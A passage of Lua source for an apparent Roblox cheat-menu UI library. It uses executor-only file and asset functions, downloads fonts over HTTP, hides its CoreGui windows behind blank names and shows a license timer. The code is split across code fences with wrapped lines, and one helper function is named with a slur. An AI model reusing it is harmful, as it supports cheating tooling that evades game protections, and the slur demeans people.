        [Enum.KeyCode.Tilde] = "~",
```

```
    [Enum.KeyCode.LeftBracket] = "[",
    [Enum.KeyCode.RightBracket] = "]",
    [Enum.KeyCode.RightParenthesis] = ")",
    [Enum.KeyCode.LeftParenthesis] = "(",
    [Enum.KeyCode.Semicolon] = ",",
    [Enum.KeyCode.Quote] = "'",
    [Enum.KeyCode.BackSlash] = "\\",
    [Enum.KeyCode.Comma] = ",",
    [Enum.KeyCode.Period] = ".",
    [Enum.KeyCode.Slash] = "/",
    [Enum.KeyCode.Asterisk] = "*",
    [Enum.KeyCode.Plus] = "+",
    [Enum.KeyCode.Period] = ".",
    [Enum.KeyCode.Backquote] = "`",
    [Enum.UserInputType.MouseButton1] = "MB1",
    [Enum.UserInputType.MouseButton2] = "MB2",
    [Enum.UserInputType.MouseButton3] = "MB3",
    [Enum.KeyCode.Escape] = "ESC",
    [Enum.KeyCode.Space] = "SPC",
}

library.__index = library

for _, path in next, library.folders do
    makefolder(library.directory .. path)
end

local flags = library.flags
local config_flags = library.config_flags
local notifications = library.notifications

local fonts = {}; do
    function Register_Font(Name, Weight, Style, Asset)
        if not isfile(Asset.Id) then
            writefile(Asset.Id, Asset.Font)
        end

        if isfile(Name .. ".font") then
            delfile(Name .. ".font")
        end

        local Data = {
            name = Name,
            faces = {
                {
                    name = "Normal",
                    weight = Weight,
                    style = Style,
                    assetId = getcustomasset(Asset.Id),
                },
            },
        }

        writefile(Name .. ".font", http_service:JSONEncode(Data))
```

```
        return getcustomasset(Name .. ".font");
    end

    local Medium = Register_Font("Meawdawdawddium", 200, "Normal", {
        Id = "Mediumawdwad.ttf",
        Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/
Inter_28pt-Medium.ttf"),
    })

    local SemiBold = Register_Font("Seawdawdawdawdmi Bold", 200, "Normal", {
        Id = "SemiBoldawdawdwad.ttf",
        Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/
Inter_28pt-SemiBold.ttf"),
    })

    fonts = {
        small = Font.new(Medium, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
        font = Font.new(SemiBold, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
    }
  end
--

-- Library functions
  -- Misc functions
    function library:tween(obj, properties, easing_style, time)
        local tween = tween_service:Create(obj, TweenInfo.new(time or 0.25, easing_style or
Enum.EasingStyle.Quint, Enum.EasingDirection.InOut, 0, false, 0), properties):Play()

        return tween
    end

    function library:resizify(frame)
        local Frame = Instance.new("TextButton")
        Frame.Position = dim2(1, -10, 1, -10)
        Frame.BorderColor3 = rgb(0, 0, 0)
        Frame.Size = dim2(0, 10, 0, 10)
        Frame.BorderSizePixel = 0
        Frame.BackgroundColor3 = rgb(255, 255, 255)
        Frame.Parent = frame
        Frame.BackgroundTransparency = 1
        Frame.Text = ""

        local resizing = false
        local start_size
        local start
        local og_size = frame.Size

        Frame.InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch then
                resizing = true
                start = input.Position
                start_size = frame.Size
            end
```

```
        end)

        Frame.InputEnded:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch then
                resizing = false
            end
        end)

        library:connection(uis.InputChanged, function(input, game_event)
            if resizing and input.UserInputType == Enum.UserInputType.Touch then
                local viewport_x = camera.ViewportSize.X
                local viewport_y = camera.ViewportSize.Y

                local current_size = dim2(
                    start_size.X.Scale,
                    math.clamp(
                        start_size.X.Offset + (input.Position.X - start.X),
                        og_size.X.Offset,
                        viewport_x
                    ),
                    start_size.Y.Scale,
                    math.clamp(
                        start_size.Y.Offset + (input.Position.Y - start.Y),
                        og_size.Y.Offset,
                        viewport_y
                    )
                )

                library:tween(frame, {Size = current_size}, Enum.EasingStyle.Linear, 0.05)
            end
        end)
    end

    function fag(tbl)
        local Size = 0

        for _ in tbl do
            Size = Size + 1
        end

        return Size
    end

    function library:next_flag()
        local index = fag(library.flags) + 1;
        local str = string.format("flagnumber%s", index)

        return str;
    end

    function library:mouse_in_frame(uiobject)
        local y_cond = uiobject.AbsolutePosition.Y <= mouse.Y and mouse.Y <=
uiobject.AbsolutePosition.Y + uiobject.AbsoluteSize.Y
```

```
        local x_cond = uiobject.AbsolutePosition.X <= mouse.X and mouse.X <=
uiobject.AbsolutePosition.X + uiobject.AbsoluteSize.X

        return (y_cond and x_cond)
    end

    function library:draggify(frame)
        local dragging = false
        local start_size = frame.Position
        local start

        frame.InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch then
                dragging = true
                start = input.Position
                start_size = frame.Position
            end
        end)

        frame.InputEnded:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch then
                dragging = false
            end
        end)

        library:connection(uis.InputChanged, function(input, game_event)
            if dragging and input.UserInputType == Enum.UserInputType.Touch then
                local viewport_x = camera.ViewportSize.X
                local viewport_y = camera.ViewportSize.Y

                local current_position = dim2(
                    0,
                    start_size.X.Offset + (input.Position.X - start.X),
                    0,
                    start_size.Y.Offset + (input.Position.Y - start.Y)
                )

                library:tween(frame, {Position = current_position}, Enum.EasingStyle.Linear, 0.05)
                library:close_element()
            end
        end)
    end

    function library:convert(str)
        local values = {}

        for value in string.gmatch(str, "[^,]+") do
            insert(values, tonumber(value))
        end

        if #values == 4 then
            return unpack(values)
        else
            return
```

```
        end
    end

    function library:convert_enum(enum)
        local enum_parts = {}

        for part in string.gmatch(enum, "[%w_]+") do
            insert(enum_parts, part)
        end

        local enum_table = Enum
        for i = 2, #enum_parts do
            local enum_item = enum_table[enum_parts[i]]

            enum_table = enum_item
        end

        return enum_table
    end

    local config_holder;
    function library:update_config_list()
        if not config_holder then
            return
        end

        local list = {}

        for idx, file in listfiles(library.directory .. "/configs") do
            local name = file:gsub(library.directory .. "/configs\\", ""):gsub(".cfg",
""):gsub(library.directory .. "\\configs\\", "")
            list[#list + 1] = name
        end

        config_holder.refresh_options(list)
    end

    function library:get_config()
        local Config = {}

        for _, v in next, flags do
            if type(v) == "table" and v.key then
                Config[_] = {active = v.active, mode = v.mode, key = tostring(v.key)}
            elseif type(v) == "table" and v["Transparency"] and v["Color"] then
                Config[_] = {Transparency = v["Transparency"], Color = v["Color"]:ToHex()}
            else
                Config[_] = v
            end
        end

        return http_service:JSONEncode(Config)
    end

    function library:load_config(config_json)
```

```
    local config = http_service:JSONDecode(config_json)

    for _, v in config do
        local function_set = library.config_flags[_]

        if _ == "config_name_list" then
            continue
        end

        if function_set then
            if type(v) == "table" and v["Transparency"] and v["Color"] then
                function_set(hex(v["Color"]), v["Transparency"])
            elseif type(v) == "table" and v["active"] then
                function_set(v)
            else
                function_set(v)
            end
        end
    end
end

function library:round(number, float)
    local multiplier = 1 / (float or 1)

    return floor(number * multiplier + 0.5) / multiplier
end

function library:apply_theme(instance, theme, property)
    insert(themes.utility[theme][property], instance)
end

function library:update_theme(theme, color)
    for _, property in themes.utility[theme] do

        for m, object in property do
            if object[_] == themes.preset[theme] then
                object[_] = color
            end
        end
    end

    themes.preset[theme] = color
end

function library:connection(signal, callback)
    local connection = signal:Connect(callback)

    insert(library.connections, connection)

    return connection
end

function library:close_element(new_path)
    local open_element = library.current_open
```

```
        if open_element and new_path ~= open_element then
            open_element.set_visible(false)
            open_element.open = false;
        end

        if new_path ~= open_element then
            library.current_open = new_path or nil;
        end
    end

    function library:create(instance, options)
        local ins = Instance.new(instance)

        for prop, value in options do
            ins[prop] = value
        end

        return ins
    end

    function library:unload_menu()
        if library[ "items" ] then
            library[ "items" ]:Destroy()
        end

        if library[ "other" ] then
            library[ "other" ]:Destroy()
        end

        for index, connection in library.connections do
            connection:Disconnect()
            connection = nil
        end

        library = nil
    end
--

-- Library element functions
    function library:window(properties)
        local cfg = {
            suffix = properties.suffix or properties.Suffix or "tech";
            name = properties.name or properties.Name or "nebula";
            game_name = properties.gameInfo or properties.game_info or properties.GameInfo
or "Milenium for Counter-Strike: Global Offensive";
            size = properties.size or properties.Size or dim2(0, 700, 0, 565);
            selected_tab;
            items = {};

            tween;
        }

        library[ "items" ] = library:create( "ScreenGui" , {
```

```
            Parent = coregui;
            Name = "\0";
            Enabled = true;
            ZIndexBehavior = Enum.ZIndexBehavior.Global;
            IgnoreGuiInset = true;
        });

        library[ "other" ] = library:create( "ScreenGui" , {
            Parent = coregui;
            Name = "\0";
            Enabled = false;
            ZIndexBehavior = Enum.ZIndexBehavior.Sibling;
            IgnoreGuiInset = true;
        });

        local items = cfg.items; do
            items[ "main" ] = library:create( "Frame" , {
                Parent = library[ "items" ];
                Size = cfg.size;
                Name = "\0";
                Position = dim2(0.5, -cfg.size.X.Offset / 2, 0.5, -cfg.size.Y.Offset / 2);
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(14, 14, 16)
            }); items[ "main" ].Position = dim2(0, items[ "main" ].AbsolutePosition.X, 0,
items[ "main" ].AbsolutePosition.Y)

            library:create( "UIScale" , {
                Parent = items[ "main" ];
                Scale = scale;
            });

            library:create( "UICorner" , {
                Parent = items[ "main" ];
                CornerRadius = dim(0, 10)
            });

            library:create( "UIStroke" , {
                Color = rgb(23, 23, 29);
                Parent = items[ "main" ];
                ApplyStrokeMode = Enum.ApplyStrokeMode.Border
            });

            items[ "side_frame" ] = library:create( "Frame" , {
                Parent = items[ "main" ];
                BackgroundTransparency = 1;
                Name = "\0";
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 196, 1, -25);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(14, 14, 16)
            });

            library:create( "Frame" , {
```

```
            AnchorPoint = vec2(1, 0);
            Parent = items[ "side_frame" ];
            Position = dim2(1, 0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 1, 1, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(21, 21, 23)
        });

        items[ "button_holder" ] = library:create( "Frame" , {
            Parent = items[ "side_frame" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Position = dim2(0, 0, 0, 60);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, 0, 1, -60);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 255, 255)
        }); cfg.button_holder = items[ "button_holder" ];

        library:create( "UIListLayout" , {
            Parent = items[ "button_holder" ];
            Padding = dim(0, 5);
            SortOrder = Enum.SortOrder.LayoutOrder
        });

        library:create( "UIPadding" , {
            PaddingTop = dim(0, 16);
            PaddingBottom = dim(0, 36);
            Parent = items[ "button_holder" ];
            PaddingRight = dim(0, 11);
            PaddingLeft = dim(0, 10)
        });

        local accent = themes.preset.accent
        items[ "title" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            BorderColor3 = rgb(0, 0, 0);
            Text = name;
            Parent = items[ "side_frame" ];
            Name = "\0";
            Text = string.format('<u>%s</u><font color = "rgb(255, 255, 255)">%s</font>',
cfg.name, cfg.suffix);
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 70);
            TextColor3 = themes.preset.accent;
            BorderSizePixel = 0;
            RichText = true;
            TextSize = 30;
            BackgroundColor3 = rgb(255, 255, 255)
        }); library:apply_theme(items[ "title" ], "accent", "TextColor3");

        items[ "multi_holder" ] = library:create( "Frame" , {
            Parent = items[ "main" ];
```

```
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 196, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -196, 0, 56);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
}); cfg.multi_holder = items[ "multi_holder" ];

library:create( "Frame" , {
    AnchorPoint = vec2(0, 1);
    Parent = items[ "multi_holder" ];
    Position = dim2(0, 0, 1, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 1);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(21, 21, 23)
});

items[ "shadow" ] = library:create( "ImageLabel" , {
    ImageColor3 = rgb(0, 0, 0);
    ScaleType = Enum.ScaleType.Slice;
    Parent = items[ "main" ];
    BorderColor3 = rgb(0, 0, 0);
    Name = "\0";
    BackgroundColor3 = rgb(255, 255, 255);
    Size = dim2(1, 75, 1, 75);
    AnchorPoint = vec2(0.5, 0.5);
    Image = "rbxassetid://112971167999062";
    BackgroundTransparency = 1;
    Position = dim2(0.5, 0, 0.5, 0);
    SliceScale = 0.75;
    ZIndex = -100;
    BorderSizePixel = 0;
    SliceCenter = rect(vec2(112, 112), vec2(147, 147))
});

items[ "global_fade" ] = library:create( "Frame" , {
    Parent = items[ "main" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 196, 0, 56);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -196, 1, -81);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(14, 14, 16);
    ZIndex = 2;
});

library:create( "UICorner" , {
    Parent = items[ "shadow" ];
    CornerRadius = dim(0, 5)
});
```

```
items[ "info" ] = library:create( "Frame" , {
    AnchorPoint = vec2(0, 1);
    Parent = items[ "main" ];
    Name = "\0";
    Position = dim2(0, 0, 1, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 25);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(23, 23, 25)
});

library:create( "UICorner" , {
    Parent = items[ "info" ];
    CornerRadius = dim(0, 10)
});

items[ "grey_fill" ] = library:create( "Frame" , {
    Name = "\0";
    Parent = items[ "info" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 6);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(23, 23, 25)
});

items[ "game" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    Parent = items[ "info" ];
    TextColor3 = rgb(72, 72, 73);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.game_name;
    Name = "\0";
    Size = dim2(1, 0, 0, 0);
    AnchorPoint = vec2(0, 0.5);
    Position = dim2(0, 10, 0.5, -1);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

if not LRM_SecondsLeft then
    LRM_SecondsLeft = math.huge
end

local time_left = tostring((LRM_SecondsLeft < math.huge and
""..tostring(math.floor(((LRM_SecondsLeft / 60) / 60) / 24))..." days" or LRM_SecondsLeft ==
math.huge and "lifetime"))

items[ "other_info" ] = library:create( "TextLabel" , {
    Parent = items[ "info" ];
    RichText = true;
```

```
                Name = "\0";
                TextColor3 = themes.preset.accent;
                BorderColor3 = rgb(0, 0, 0);
                Text = '<font color="rgb(72, 72, 73)">'..time_left..', </font>' .. cfg.name:lower() ..
cfg.suffix:lower();
                Size = dim2(1, 0, 0, 0);
                Position = dim2(0, -10, 0.5, -1);
                AnchorPoint = vec2(0, 0.5);
                BorderSizePixel = 0;
                BackgroundTransparency = 1;
                TextXAlignment = Enum.TextXAlignment.Right;
                AutomaticSize = Enum.AutomaticSize.XY;
                FontFace = fonts.font;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            }); library:apply_theme(items[ "other_info" ], "accent", "TextColor3");
        end

        do -- Other
            library:draggify(items[ "main" ])
            library:resizify(items[ "main" ])
        end

        function cfg.toggle_menu(bool)
            -- WIP
            -- if cfg.tween then
            --     cfg.tween:Cancel()
            -- end

            -- items[ "main" ].Size = dim2(items[ "main" ].Size.Scale.X,
items[ "main" ].Size.Offset.X - 20, items[ "main" ].Size.Scale.Y, items[ "main" ].Size.Offset.Y -
20)
            -- library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)},
Enum.EasingStyle.Quad, 0.4)
            -- cfg.tween =

            items[ "main" ].Visible = bool
        end

        items[ "close button" ] = library:create( "TextButton" , {
            Parent = library[ "items" ];
            Name = "\0";
            Position = dim2(0, 20, 1, -20);
            AnchorPoint = vec2(0, 1);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 75, 0, 50);
            BorderSizePixel = 0;
            Text = "";
            AutoButtonColor = false;
            Visible = true;
            BackgroundColor3 = rgb(25, 25, 29)
        });

        items[ "other_info" ] = library:create( "TextLabel" , {
```

```
            Parent = items[ "close button" ];
            RichText = true;
            Name = "\0";
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = "toggle ui";
            Size = dim2(1, 0, 1, 0);
            BorderSizePixel = 0;
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Center;
            FontFace = fonts.font;
            ZIndex = 2;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UICorner" , {
            Parent = items[ "close button" ];
            CornerRadius = dim(0, 10)
        });

        library:create( "UIStroke" , {
            Color = rgb(23, 23, 29);
            Parent = items[ "close button" ];
            ApplyStrokeMode = Enum.ApplyStrokeMode.Border
        });

        local open = true
        items[ "close button" ].InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                open = not open

                cfg.toggle_menu(open)
            end
        end)

        return setmetatable(cfg, library)
    end

    function library:tab(properties)
        local cfg = {
            name = properties.name or properties.Name or "visuals";
            icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?
id=6034767608";

            -- multi
            tabs = properties.tabs or properties.Tabs or {"Main", "Misc.", "Settings"};
            pages = {}; -- data store for multi sections
            current_multi;

            items = {};
        }
```

```
local items = cfg.items; do
    items[ "tab_holder" ] = library:create( "Frame" , {
        Parent = library.cache;
        Name = "\0";
        Visible = false;
        BackgroundTransparency = 1;
        Position = dim2(0, 196, 0, 56);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, -216, 1, -101);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    -- Tab buttons
        items[ "button" ] = library:create( "TextButton" , {
            FontFace = fonts.font;
            TextColor3 = rgb(255, 255, 255);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            Parent = self.items[ "button_holder" ];
            AutoButtonColor = false;
            BackgroundTransparency = 1;
            Name = "\0";
            Size = dim2(1, 0, 0, 35);
            BorderSizePixel = 0;
            TextSize = 16;
            BackgroundColor3 = rgb(29, 29, 29)
        });

        items[ "icon" ] = library:create( "ImageLabel" , {
            ImageColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Parent = items[ "button" ];
            AnchorPoint = vec2(0, 0.5);
            Image = cfg.icon;
            BackgroundTransparency = 1;
            Position = dim2(0, 10, 0.5, 0);
            Name = "\0";
            Size = dim2(0, 22, 0, 22);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 255, 255)
        }); library:apply_theme(items[ "icon" ], "accent", "ImageColor3");

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = items[ "button" ];
            Name = "\0";
            Size = dim2(0, 0, 1, 0);
            Position = dim2(0, 40, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
```

```
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.X;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIPadding" , {
        Parent = items[ "name" ];
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });

    library:create( "UICorner" , {
        Parent = items[ "button" ];
        CornerRadius = dim(0, 7)
    });

    library:create( "UIStroke" , {
        Color = rgb(23, 23, 29);
        Parent = items[ "button" ];
        Enabled = false;
        ApplyStrokeMode = Enum.ApplyStrokeMode.Border
    });
--

-- Multi Sections
    items[ "multi_section_button_holder" ] = library:create( "Frame" , {
        Parent = library.cache;
        BackgroundTransparency = 1;
        Name = "\0";
        Visible = false;
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 0, 1, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIListLayout" , {
        Parent = items[ "multi_section_button_holder" ];
        Padding = dim(0, 7);
        SortOrder = Enum.SortOrder.LayoutOrder;
        FillDirection = Enum.FillDirection.Horizontal
    });

    library:create( "UIPadding" , {
        PaddingTop = dim(0, 8);
        PaddingBottom = dim(0, 7);
        Parent = items[ "multi_section_button_holder" ];
        PaddingRight = dim(0, 7);
        PaddingLeft = dim(0, 7)
    });

    for _, section in cfg.tabs do
        local data = {items = {}}
```

```
                local multi_items = data.items; do
                    -- Button
                        multi_items[ "button" ] = library:create( "TextButton" , {
                            FontFace = fonts.font;
                            TextColor3 = rgb(255, 255, 255);
                            BorderColor3 = rgb(0, 0, 0);
                            AutoButtonColor = false;
                            Text = "";
                            Parent = items[ "multi_section_button_holder" ];
                            Name = "\0";
                            Size = dim2(0, 0, 0, 39);
                            BackgroundTransparency = 1;
                            ClipsDescendants = true;
                            BorderSizePixel = 0;
                            AutomaticSize = Enum.AutomaticSize.X;
                            TextSize = 16;
                            BackgroundColor3 = rgb(25, 25, 29)
                        });

                        multi_items[ "name" ] = library:create( "TextLabel" , {
                            FontFace = fonts.font;
                            TextColor3 = rgb(62, 62, 63);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = section;
                            Parent = multi_items[ "button" ];
                            Name = "\0";
                            Size = dim2(0, 0, 1, 0);
                            BackgroundTransparency = 1;
                            TextXAlignment = Enum.TextXAlignment.Left;
                            BorderSizePixel = 0;
                            AutomaticSize = Enum.AutomaticSize.XY;
                            TextSize = 16;
                            BackgroundColor3 = rgb(255, 255, 255)
                        });

                        library:create( "UIPadding" , {
                            Parent = multi_items[ "name" ];
                            PaddingRight = dim(0, 5);
                            PaddingLeft = dim(0, 5)
                        });

                        multi_items[ "accent" ] = library:create( "Frame" , {
                            BorderColor3 = rgb(0, 0, 0);
                            AnchorPoint = vec2(0, 1);
                            Parent = multi_items[ "button" ];
                            BackgroundTransparency = 1;
                            Position = dim2(0, 10, 1, 4);
                            Name = "\0";
                            Size = dim2(1, -20, 0, 6);
                            BorderSizePixel = 0;
                            BackgroundColor3 = themes.preset.accent
                        }); library:apply_theme(multi_items[ "accent" ], "accent",
"BackgroundColor3");
```

```
        library:create( "UICorner" , {
            Parent = multi_items[ "accent" ];
            CornerRadius = dim(0, 999)
        });

        library:create( "UIPadding" , {
            Parent = multi_items[ "button" ];
            PaddingRight = dim(0, 10);
            PaddingLeft = dim(0, 10)
        });

        library:create( "UICorner" , {
            Parent = multi_items[ "button" ];
            CornerRadius = dim(0, 7)
        });
    --

    -- Tab
        multi_items[ "tab" ] = library:create( "Frame" , {
            Parent = library.cache;
            BackgroundTransparency = 1;
            Name = "\0";
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, -20, 1, -20);
            BorderSizePixel = 0;
            Visible = false;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIListLayout" , {
            FillDirection = Enum.FillDirection.Vertical;
            HorizontalFlex = Enum.UIFlexAlignment.Fill;
            Parent = multi_items[ "tab" ];
            Padding = dim(0, 7);
            SortOrder = Enum.SortOrder.LayoutOrder;
            VerticalFlex = Enum.UIFlexAlignment.Fill
        });

        library:create( "UIPadding" , {
            PaddingTop = dim(0, 7);
            PaddingBottom = dim(0, 7);
            Parent = multi_items[ "tab" ];
            PaddingRight = dim(0, 7);
            PaddingLeft = dim(0, 7)
        });
    --
end

data.text = multi_items[ "name" ]
data.accent = multi_items[ "accent" ]
data.button = multi_items[ "button" ]
data.page = multi_items[ "tab" ]
data.parent = setmetatable(data, library):sub_tab({}).items[ "tab_parent" ]
```

```
                -- Old column code
                -- data.left = multi_items[ "left" ]
                -- data.right = multi_items[ "right" ]

                                                function data.open_page()
                                                        local page = cfg.current_multi;

                    if page and page.text ~= data.text then
                        self.items[ "global_fade" ].BackgroundTransparency = 0
                        library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1},
Enum.EasingStyle.Quad, 0.4)

                        local old_size = page.page.Size
                        page.page.Size = dim2(1, -20, 1, -20)
                    end

                    if page then
                        library:tween(page.text, {TextColor3 = rgb(62, 62, 63)})
                        library:tween(page.accent, {BackgroundTransparency = 1})
                        library:tween(page.button, {BackgroundTransparency = 1})

                        page.page.Visible = false
                        page.page.Parent = library[ "cache" ]
                    end

                    library:tween(data.text, {TextColor3 = rgb(255, 255, 255)})
                    library:tween(data.accent, {BackgroundTransparency = 0})
                    library:tween(data.button, {BackgroundTransparency = 0})
                    library:tween(data.page, {Size = dim2(1, 0, 1, 0)}, Enum.EasingStyle.Quad,
0.4)

                    data.page.Visible = true
                    data.page.Parent = items["tab_holder"]

                    cfg.current_multi = data

                    library:close_element()
                                                end


multi_items[ "button" ].InputBegan:Connect(function(Input)
                    if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                                                        data.open_page()
                                                end)

                                                cfg.pages[#cfg.pages + 1] = setmetatable(data,
library)
                end

                cfg.pages[1].open_page()
            --
        end
```

```
        function cfg.open_tab()
            local selected_tab = self.selected_tab

            if selected_tab then
                if selected_tab[ 4 ] ~= items[ "tab_holder" ] then
                    self.items[ "global_fade" ].BackgroundTransparency = 0

                    library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1},
Enum.EasingStyle.Quad, 0.4)
                    selected_tab[ 4 ].Size = dim2(1, -216, 1, -101)
                end

                library:tween(selected_tab[ 1 ], {BackgroundTransparency = 1})
                library:tween(selected_tab[ 2 ], {ImageColor3 = rgb(72, 72, 73)})
                library:tween(selected_tab[ 3 ], {TextColor3 = rgb(72, 72, 73)})

                selected_tab[ 4 ].Visible = false
                selected_tab[ 4 ].Parent = library[ "cache" ]
                selected_tab[ 5 ].Visible = false
                selected_tab[ 5 ].Parent = library[ "cache" ]
            end

            library:tween(items[ "button" ], {BackgroundTransparency = 0})
            library:tween(items[ "icon" ], {ImageColor3 = themes.preset.accent})
            library:tween(items[ "name" ], {TextColor3 = rgb(255, 255, 255)})
            library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)},
Enum.EasingStyle.Quad, 0.4)

            items[ "tab_holder" ].Visible = true
            items[ "tab_holder" ].Parent = self.items[ "main" ]
            items[ "multi_section_button_holder" ].Visible = true
            items[ "multi_section_button_holder" ].Parent = self.items[ "multi_holder" ]

            self.selected_tab = {
                items[ "button" ];
                items[ "icon" ];
                items[ "name" ];
                items[ "tab_holder" ];
                items[ "multi_section_button_holder" ];
            }

            library:close_element()
        end

        items[ "button" ].InputBegan:Connect(function(Input)
                    if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            cfg.open_tab()
        end)

        if not self.selected_tab then
            cfg.open_tab(true)
        end

        return unpack(cfg.pages)
```

```
end

function library:seperator(properties)
    local cfg = {items = {}, name = properties.Name or properties.name or "General"}

    local items = cfg.items do
        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = self.items[ "button_holder" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            Position = dim2(0, 40, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIPadding" , {
            Parent = items[ "name" ];
            PaddingRight = dim(0, 5);
            PaddingLeft = dim(0, 5)
        });
    end;

    return setmetatable(cfg, library)
end

-- Miscellaneous
    function library:column(properties)
        local cfg = {items = {}, size = properties.size or 1}

        local items = cfg.items; do
            items[ "column" ] = library:create( "Frame" , {
                Parent = self[ "parent" ] or self.items["tab_parent"];
                BackgroundTransparency = 1;
                Name = "\0";
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 0, cfg.size, 0);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UIPadding" , {
                PaddingBottom = dim(0, 10);
                Parent = items[ "column" ]
            });

            library:create( "UIListLayout" , {
```

```
                Parent = items[ "column" ];
                HorizontalFlex = Enum.UIFlexAlignment.Fill;
                Padding = dim(0, 10);
                FillDirection = Enum.FillDirection.Vertical;
                SortOrder = Enum.SortOrder.LayoutOrder
            });
        end

        return setmetatable(cfg, library)
    end

    function library:sub_tab(properties)
        local cfg = {items = {}, order = properties.order or 0; size = properties.size or 1}

        local items = cfg.items; do
            items[ "tab_parent" ] = library:create( "Frame" , {
                Parent = self.items[ "tab" ];
                BackgroundTransparency = 1;
                Name = "\0";
                Size = dim2(0,0,cfg.size,0);
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                Visible = true;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UIListLayout" , {
                FillDirection = Enum.FillDirection.Horizontal;
                HorizontalFlex = Enum.UIFlexAlignment.Fill;
                VerticalFlex = Enum.UIFlexAlignment.Fill;
                Parent = items[ "tab_parent" ];
                Padding = dim(0, 7);
                SortOrder = Enum.SortOrder.LayoutOrder;
            });
        end

        return setmetatable(cfg, library)
    end
--

function library:section(properties)
    local cfg = {
        name = properties.name or properties.Name or "section";
        side = properties.side or properties.Side or "left";
        default = properties.default or properties.Default or false;
        size = properties.size or properties.Size or self.size or 0.5;
        icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?
id=6022668898";
        fading_toggle = properties.fading or properties.Fading or false;
        items = {};
    };

    local items = cfg.items; do
        items[ "outline" ] = library:create( "Frame" , {
```

```
    Name = "\0";
    Parent = self.items[ "column" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 0, cfg.size, -3);
